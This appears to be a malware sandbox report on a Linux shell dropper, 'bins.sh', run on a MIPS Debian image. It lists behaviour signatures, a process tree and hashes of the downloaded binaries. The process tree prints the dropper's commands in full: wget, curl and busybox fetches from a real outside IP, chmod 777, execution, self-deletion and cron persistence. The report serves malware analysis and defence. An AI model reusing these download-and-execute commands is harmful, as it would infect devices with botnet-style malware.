Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/11/2024, 22:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241110-2fx23swmcs
  • SHA256 7dc00761f024fef410ff002becaf2a116797a03d147b8bdf005e6d4a40760306
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (798) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 33 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
          2⤵
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
          ./Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://216.126.231.240/bins/65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
            ./65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm 65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
            2⤵
              PID:745
            • /usr/bin/wget
              wget http://216.126.231.240/bins/aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:747
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
              2⤵
              • Writes file to tmp directory
              PID:751
            • /bin/chmod
              chmod 777 aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
              2⤵
              • File and Directory Permissions Modification
              PID:752
            • /tmp/aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
              ./aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
              2⤵
              • Executes dropped EXE
              PID:753
            • /bin/rm
              rm aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
              2⤵
                PID:755
              • /usr/bin/wget
                wget http://216.126.231.240/bins/pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                2⤵
                • Writes file to tmp directory
                PID:756
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                2⤵
                • Writes file to tmp directory
                PID:764
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                2⤵
                • Writes file to tmp directory
                PID:774
              • /bin/chmod
                chmod 777 pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                2⤵
                • File and Directory Permissions Modification
                PID:777
              • /tmp/pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                ./pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                2⤵
                • Executes dropped EXE
                PID:779
              • /bin/rm
                rm pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                2⤵
                  PID:782
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                  2⤵
                  • Writes file to tmp directory
                  PID:783
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:790
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /bin/chmod
                  chmod 777 eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:806
                • /tmp/eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                  ./eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                  2⤵
                  • Executes dropped EXE
                  PID:807
                • /bin/rm
                  rm eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                  2⤵
                    PID:811
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                    2⤵
                    • Writes file to tmp directory
                    PID:813
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:816
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                    2⤵
                    • Writes file to tmp directory
                    PID:817
                  • /bin/chmod
                    chmod 777 Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                    2⤵
                    • File and Directory Permissions Modification
                    PID:818
                  • /tmp/Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                    ./Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                    2⤵
                    • Executes dropped EXE
                    PID:819
                  • /bin/rm
                    rm Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                    2⤵
                      PID:821
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                      2⤵
                      • Writes file to tmp directory
                      PID:822
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                      2⤵
                      • Writes file to tmp directory
                      PID:823
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                      2⤵
                      • Writes file to tmp directory
                      PID:824
                    • /bin/chmod
                      chmod 777 5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                      2⤵
                      • File and Directory Permissions Modification
                      PID:825
                    • /tmp/5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                      ./5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                      2⤵
                      • Executes dropped EXE
                      PID:826
                    • /bin/rm
                      rm 5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                      2⤵
                        PID:828
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                        2⤵
                        • Writes file to tmp directory
                        PID:829
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                        2⤵
                        • Writes file to tmp directory
                        PID:830
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                        2⤵
                        • Writes file to tmp directory
                        PID:840
                      • /bin/chmod
                        chmod 777 lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                        2⤵
                        • File and Directory Permissions Modification
                        PID:844
                      • /tmp/lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                        ./lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                        2⤵
                        • Executes dropped EXE
                        PID:845
                      • /bin/rm
                        rm lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                        2⤵
                          PID:849
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                          2⤵
                          • Writes file to tmp directory
                          PID:850
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                          2⤵
                          • Writes file to tmp directory
                          PID:857
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                          2⤵
                          • Writes file to tmp directory
                          PID:866
                        • /bin/chmod
                          chmod 777 IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                          2⤵
                          • File and Directory Permissions Modification
                          PID:869
                        • /tmp/IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                          ./IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                          2⤵
                          • Executes dropped EXE
                          PID:870
                        • /bin/rm
                          rm IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                          2⤵
                            PID:872
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                            2⤵
                            • Writes file to tmp directory
                            PID:873
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                            2⤵
                            • Writes file to tmp directory
                            PID:874
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                            2⤵
                            • Writes file to tmp directory
                            PID:875
                          • /bin/chmod
                            chmod 777 vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                            2⤵
                            • File and Directory Permissions Modification
                            PID:876
                          • /tmp/vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                            ./vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                            2⤵
                            • Executes dropped EXE
                            PID:877
                          • /bin/rm
                            rm vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                            2⤵
                              PID:879
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                              2⤵
                              • Writes file to tmp directory
                              PID:880
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                              2⤵
                              • Writes file to tmp directory
                              PID:881
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                              2⤵
                              • Writes file to tmp directory
                              PID:882
                            • /bin/chmod
                              chmod 777 WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                              2⤵
                              • File and Directory Permissions Modification
                              PID:883
                            • /tmp/WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                              ./WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:884
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:886
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                      PID:887
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:888
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        • Reads runtime system information
                                        PID:889
                                  • /bin/rm
                                    rm WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                                    2⤵
                                      PID:891
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/nD6i9TXogFQNGwgOoTn6VaW1gvA01xrRNw
                                      2⤵
                                        PID:894
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/nD6i9TXogFQNGwgOoTn6VaW1gvA01xrRNw
                                        2⤵
                                          PID:895

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe

                                            • Path /tmp/5hfAlY0oXo0tNNEvZBaqtIhvwzOWzUTIHe
                                            • Size 111KB
                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                            • MD5 SHA1 SHA512 SSDEEP

                                            65NxemStuWLTLWIxxzdTyqytLBreraD7Dm

                                            • Path /tmp/65NxemStuWLTLWIxxzdTyqytLBreraD7Dm
                                            • Size 117KB
                                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                            • MD5 SHA1 SHA512 SSDEEP

                                            IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1

                                            • Path /tmp/IBrSBojk4LmussnP6dIl1EhmhVnm7a51d1
                                            • Size 122KB
                                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                            • MD5 SHA1 SHA512 SSDEEP

                                            Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt

                                            • Path /tmp/Kj1jSs6qOZucxkLMXdqWWkz9UFSbJy5DRt
                                            • Size 141KB
                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                            • MD5 SHA1 SHA512 SSDEEP

                                            Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9

                                            • Path /tmp/Q0NdzKo5CindcRnwT7sSczMZnX6P306HF9
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP

                                            WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn

                                            • Path /tmp/WXRInfWYWvQ1AJ6i3jVtGyrqLUyTYo3BEn
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP

                                            aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj

                                            • Path /tmp/aeilxFz7sz97kiLgErcCRvXr7Q1hCaoILj
                                            • Size 112KB
                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                            • MD5 SHA1 SHA512 SSDEEP

                                            eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9

                                            • Path /tmp/eKbwjpEEQNAGw0Kximqlf4mrlpgk7imnL9
                                            • Size 107KB
                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                            • MD5 SHA1 SHA512 SSDEEP

                                            lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4

                                            • Path /tmp/lGaJRTX0LOZB06P5lkkvz9q0DG0aydeuY4
                                            • Size 111KB
                                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                            • MD5 SHA1 SHA512 SSDEEP

                                            pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE

                                            • Path /tmp/pbDPNOn9dvemsRruigFsOQpxEcNKRLXUhE
                                            • Size 98KB
                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp

                                            • Path /tmp/vOQE9O6CNB5jhJ7BKVmySoQopnhR5Nonwp
                                            • Size 119KB
                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                            • MD5 SHA1 SHA512 SSDEEP

                                            tmp.zQRUo9

                                            • Path /var/spool/cron/crontabs/tmp.zQRUo9
                                            • Size 210B
                                            • SHA256 2f1dd3f8495008f64c651805ab47db5a9d119ab24371f93527b85a7170397651
                                            • MD5 SHA1 SHA512